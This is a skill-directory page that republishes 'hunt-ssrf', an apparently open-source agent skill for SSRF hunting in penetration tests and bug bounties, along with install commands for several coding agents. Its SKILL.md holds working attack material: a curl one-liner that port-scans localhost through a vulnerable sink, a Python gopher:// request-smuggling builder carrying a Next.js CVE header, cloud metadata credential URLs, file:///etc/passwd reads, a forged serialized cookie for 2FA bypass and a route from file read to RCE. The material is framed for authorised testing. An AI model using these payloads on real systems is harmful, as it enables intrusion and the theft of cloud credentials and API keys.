Security And Hardening
penpot/penpot
Hardens code against vulnerabilities. An agent skill from penpot/penpot.
SSRF hunting - OOB-mandatory methodology. An agent skill from Encod3d-Sec/TORCH.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-ssrf --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-ssrf .claude/skills/hunt-ssrf && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-ssrf" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrf into .claude/skills/hunt-ssrf/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-ssrf", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrfType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-ssrf --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt/hunt-ssrf .agents/skills/hunt-ssrf && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-ssrf" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrf into .agents/skills/hunt-ssrf/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-ssrf", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-ssrf --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt/hunt-ssrf .cursor/skills/hunt-ssrf && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-ssrf" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrf into .cursor/skills/hunt-ssrf/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-ssrf", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/Encod3d-Sec/TORCH.git --path skills/hunt/hunt-ssrf--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-ssrf --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt/hunt-ssrf .gemini/skills/hunt-ssrf && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-ssrf" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrf into .gemini/skills/hunt-ssrf/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-ssrf", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install Encod3d-Sec/TORCH hunt-ssrfInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt/hunt-ssrf .github/skills/hunt-ssrf && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-ssrf" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrf into .github/skills/hunt-ssrf/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-ssrf", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-ssrf --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt/hunt-ssrf .opencode/skills/hunt-ssrf && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-ssrf" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ssrf into .opencode/skills/hunt-ssrf/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-ssrf", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
hunt-ssrfSSRF hunting - OOB-mandatory methodology. An agent skill from Encod3d-Sec/TORCH.
Hunt Ssrf is an agent skill from Encod3d-Sec/TORCH. SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.
Its SKILL.md is about 2.3k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Web application vulnerabilities and Browser automation. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.
9 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
curlpython3From the folder's file list and the shell code blocks in SKILL.md.
No URLs in SKILL.md. Its commands use curl, which can reach the network depending on how they are called.
From URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Hunt Ssrf loads about 2.3k tokens when it runs. Until then it costs about 47 tokens; SKILL.md has 865 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 865 words, ~2,252 tokens.
.claude/skills/hunt-ssrf/SKILL.md (or your agent's skills folder).Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration
limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCPHub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: wiki/payloads/ssrf.md.
Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist),
[[open-redirect]] (chain a trusted redirect to an internal target).
Blind SSRF claims require OOB confirmation. No exceptions.
NOT confirmation: URL echo in error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain.
When you plant a blind/OOB SSRF payload, append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | ssrf | <date> | waiting | | (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row.
Setup OOB before testing (full channel guide: wiki oob-callbacks - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):
interactsh-client -v # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>URL patterns:
?url= ?uri= ?src= ?source= ?feed= ?host= ?target= ?dest=
?redirect= ?callback= ?image= ?fetch= ?load= ?endpoint=
/api/*/preview /api/*/fetch /api/*/import /api/*/webhook /api/*/renderHigh-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines.
Check SCHEME control EARLY (before grinding host/port bypasses). If the sink concatenates your input
as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl setopt(URL, server + '/path'), requests.get(host+path);
tell: the default value has no http://, like server=host:8087), you control the scheme, not just the
host -> try file:///etc/passwd and file:///<app-source> for a straight LFI, and gopher:// for
internal TCP. The moment file:// reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/
auth/next-steps faster than any probing, and on Flask debug=True a file-read computes the console PIN ->
RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound
request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".
An internal-only service is the usual SSRF objective and it is invisible to your external nmap,
so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep
127.0.0.1 ports THROUGH the sink and fingerprint everything that answers:
export T=<target>
# non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a
# scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead
# of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"'playbook.json / the matching hunt skill
exactly as if it were external (<title>, Server / x-powered-by, /_next/static ->
Next.js -> CVE-2025-29927, /solr, /actuator, Jenkins, GitLab...). recon-capture only
fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook -
you must apply it by hand. This is exactly where internal CVEs get missed.?url= cannotA plain ?url= fetch issues a fixed GET with no control over method/headers/cookies/body. Many
internal exploits need precisely that control. gopher://host:port/_<raw-bytes> makes the sink open
a raw TCP socket and send arbitrary bytes - a full HTTP request you craft:
import urllib.parse, subprocess
T="<target>"
def gopher(raw: bytes, port: int): # raw = the complete request you build
sel=''.join('%%%02X'%b for b in raw) # percent-encode bytes -> gopher selector
g='gopher://127.0.0.1:%d/_%s'%(port, sel)
return subprocess.run(['curl','-s','-m','10',
'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))], # encode again for ?url=
capture_output=True).stdout
req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n'Unlocks: custom headers for header-based CVEs (Next.js CVE-2025-29927 x-middleware-subrequest),
HTTP Basic auth (Authorization: Basic), POST logins, forged cookies (serialized-object
/ JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full send(method,path,headers,cookie,body)
builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not file://.
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (requires Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01http://127.0.0.1:6443/api/v1/namespaces # Kubernetes API
http://127.0.0.1:2379/v2/keys # etcd
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:9090/ # Prometheus
http://127.0.0.1:{3000,5000,8000,8080,8888,9000,10000}/ # app/admin ports - where the objective usually hides<script>fetch(...) for PDF/screenshot endpointspython3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssrf.md.x-middleware-subrequest) a ?url= GET can't set -> delivered over
gopher. When a known CVE needs a specific header/method/cookie, reach for the gopher builder,
not a fancier ?url= value./management, Apache Require ip) is in
scope: HTTP Basic auth, a POST login, and a forged serialized-object cookie (PHP
O:9:"AuthToken":...{validated;b:0} -> flip to b:1 = 2FA bypass) all rode the one gopher tunnel.127.0.0.1,
direct hits = your VPN IP). Filter your source IPs before treating a repeated request as a victim
cron - a phantom "cron" here was self-induced and burned time.file:// / php:// / data:// keyword-filtered, case-insensitive)
and the chain needed none. Don't grind source disclosure the chain doesn't require.FIND output and Deadends format per hunt-core; rated on what the SSRF actually reached:
Class deadend line: - [ ] SSRF on <host> param <param> -- zero OOB callbacks, URL echo only (server-side validation, not fetching). Exhaustion is ~38 payloads with zero callbacks.
© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/hunt/hunt-ssrf of Encod3d-Sec/TORCH.
Open the folder on GitHubat commit d21b6c9
Hunt Ssrf next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Hunt Ssrf this skillEncod3d-Sec/TORCH | 329 | — | ~2.3k | Automated safety check: Pass | MIT | |
| Security And Hardeningpenpot/penpot | 61k | 6 repos | ~4.7k | Automated safety check: Notes | MPL-2.0 | |
| Security Auditoreigent-ai/eigent | 15k | — | ~1.8k | Automated safety check: Notes | Apache-2.0 | |
| Security Reviewjewbetcha/opentrace | 116 | 18 repos | ~3.1k | Automated safety check: Notes | MIT | |
| Strix Code Vulnerability Scanusestrix/strix | 68k | — | ~1.1k | Automated safety check: Pass | Apache-2.0 | |
| Code Audit3stoneBrother/code-audit | 892 | 1 repos | ~2.7k | Automated safety check: Pass | None |
penpot/penpot
Hardens code against vulnerabilities. An agent skill from penpot/penpot.
eigent-ai/eigent
Audits source code, dependencies and config files for vulnerabilities and hardcoded secrets, using two bundled Python scanners and an OWASP Top 10 checklist.
jewbetcha/opentrace
A skill your agent uses when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features.
usestrix/strix
Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.
3stoneBrother/code-audit
Professional code security audit skill covering 55+ vulnerability types.
usestrix/strix
Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.
Encod3d-Sec/TORCH
Runs a bug-bounty engagement through a script that tracks the current pass, builds a board of rows from recon and prints the next required action each turn.
Encod3d-Sec/TORCH
Checks that the bb, pt and ctf workflow driver is set up correctly on a machine: vault content, skill symlinks, hooks, imports and a live smoke test, with fixes for failures.
Encod3d-Sec/TORCH
Opens a visible Chromium window on a Kali VM so an operator can complete a manual login or CAPTCHA while the agent watches and acts through the chrome-devtools MCP.
Encod3d-Sec/TORCH
Runs a capture-the-flag box from first scan to root with a driver script that tracks progress and prints the next action each turn.
Encod3d-Sec/TORCH
Decides when a main pentesting agent should hand a fully-specified, mechanical exploit-compile or privilege-escalation step to a cheaper sub-agent, and how to specify that handoff safely.
Encod3d-Sec/TORCH
Adaptive web fuzzing for pentests, bug bounty and CTF work: picks the smallest suitable SecLists wordlist per target surface and calibrates filters against soft-404 responses.
Categories
SSRF hunting - OOB-mandatory methodology. An agent skill from Encod3d-Sec/TORCH. Hunt Ssrf is an agent skill from Encod3d-Sec/TORCH. SSRF hunting - OOB-mandatory methodology.
Hunt Ssrf fits situations like: tasks that involve Web application vulnerabilities; tasks that involve Browser automation.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a claude-code`. Or copy the skill folder (skills/hunt/hunt-ssrf in Encod3d-Sec/TORCH) into .claude/skills/hunt-ssrf in your project. Claude Code loads it when a task matches its description.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a codex`. Or copy the skill folder (skills/hunt/hunt-ssrf in Encod3d-Sec/TORCH) into .agents/skills/hunt-ssrf in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-ssrf -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-ssrf, .gemini/skills/hunt-ssrf, .github/skills/hunt-ssrf and .opencode/skills/hunt-ssrf in your project.
Going by SKILL.md and its folder, Hunt Ssrf needs the command-line tools its instructions call (curl and python3). Our summary lists: Python 3.
SKILL.md contains no URLs. Its commands use curl, which can reach the network depending on how they are called. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Hunt Ssrf is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 2.3k tokens (SKILL.md is roughly 9k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Hunt Ssrf: Security And Hardening (penpot/penpot, 61k stars), Security Auditor (eigent-ai/eigent, 15k stars), Security Review (jewbetcha/opentrace, 116 stars) and Strix Code Vulnerability Scan (usestrix/strix, 68k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.
Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.